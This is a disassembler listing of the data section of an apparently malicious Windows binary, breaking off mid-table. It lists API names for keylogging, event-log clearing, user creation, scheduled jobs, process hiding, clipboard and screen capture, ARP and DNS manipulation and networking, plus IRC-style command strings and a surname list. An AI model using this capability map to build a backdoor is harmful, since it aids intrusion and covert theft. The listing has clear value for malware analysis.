sub_409B12+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409B12:loc_40A620o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409B12+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409B12:loc_40A5D6o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409B12:loc_40A58Co align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409B12+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo ; sub_4185A4+65o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409B12+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409B12+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409B12+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409B12+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409B12+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409B12+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409B12+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409B12+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409B12:loc_40A470o ; sub_4185A4+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409B12+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409B12+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409B12+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409B12:loc_40A411o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409B12+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409B12:loc_40A2F1o aClosesocket db 'closesocket',0 ; DATA XREF: sub_409B12+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409B12+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409B12+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409B12+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_409B12+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409B12+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409B12+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409B12+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409B12+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409B12+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409B12+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409B12+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_409B12+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_409B12+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_409B12+5E3o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_409B12+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_409B12+5C9o align 10h aHtons db 'htons',0 ; DATA XREF: sub_409B12+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409B12+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409B12+5A2o align 10h aConnect db 'connect',0 ; DATA XREF: sub_409B12+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409B12+588o aSocket db 'socket',0 ; DATA XREF: sub_409B12+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409B12+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409B12+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409B12+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409B12+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409B12+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409B12+52Do align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409B12+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409B12+514o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409B12+4A1o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409B12+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409B12+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409B12+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409B12+460o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409B12+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409B12:loc_409F3Fo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409B12:loc_409F17o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409B12+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409B12+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409B12+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409B12+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409B12:loc_409E69o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409B12+2C6o align 4 aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409B12+2B9o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409B12+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409B12+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409B12+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409B12+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409B12+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409B12:loc_409D71o align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409B12+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409B12+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409B12+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409B12+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409B12+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409B12+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_409B12+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409B12+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409B12+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409B12:loc_409C47o ; sub_424D78+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409B12+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409B12+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409B12+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409B12+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_409B12+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409B12+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_409B12+Ao align 4 unk_42D364 db 2Dh ; - ; DATA XREF: sub_40A7CE+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o align 10h a_: ; DATA XREF: sub_40F96A+252o unicode 0, <.>,0 unk_42D4F4 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABF0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42D524 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40ABBEo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42D554 db 2Dh ; - ; DATA XREF: sub_40AB31:loc_40AB8Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_42D578 db 2Dh ; - ; DATA XREF: sub_40AB31+49o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AC0F+46o ; sub_40BFEB+38o aReal db 'real',0 align 4 dd 0 dword_42D5BC dd 0 ; DATA XREF: sub_40B08D+7o off_42D5C0 dd offset sub_40ACB5 ; DATA XREF: sub_40B08D+49r aConst db 'const',0 align 10h dd 1, 40AD22h, 7474656Ch, 7265h, 0 dd 2, 40AD80h, 706D6F63h, 2 dup(0) dd 3, 40ADCDh, 6E756F63h, 797274h, 0 dd 4, 40AE6Bh, 736Fh, 2 dup(0) dd 5, 40AEE0h off_42D628 dd offset aAbdulrazak ; DATA XREF: sub_40ACB5+21r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_42D634 dd offset aAddison ; DATA XREF: sub_40B08D+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset 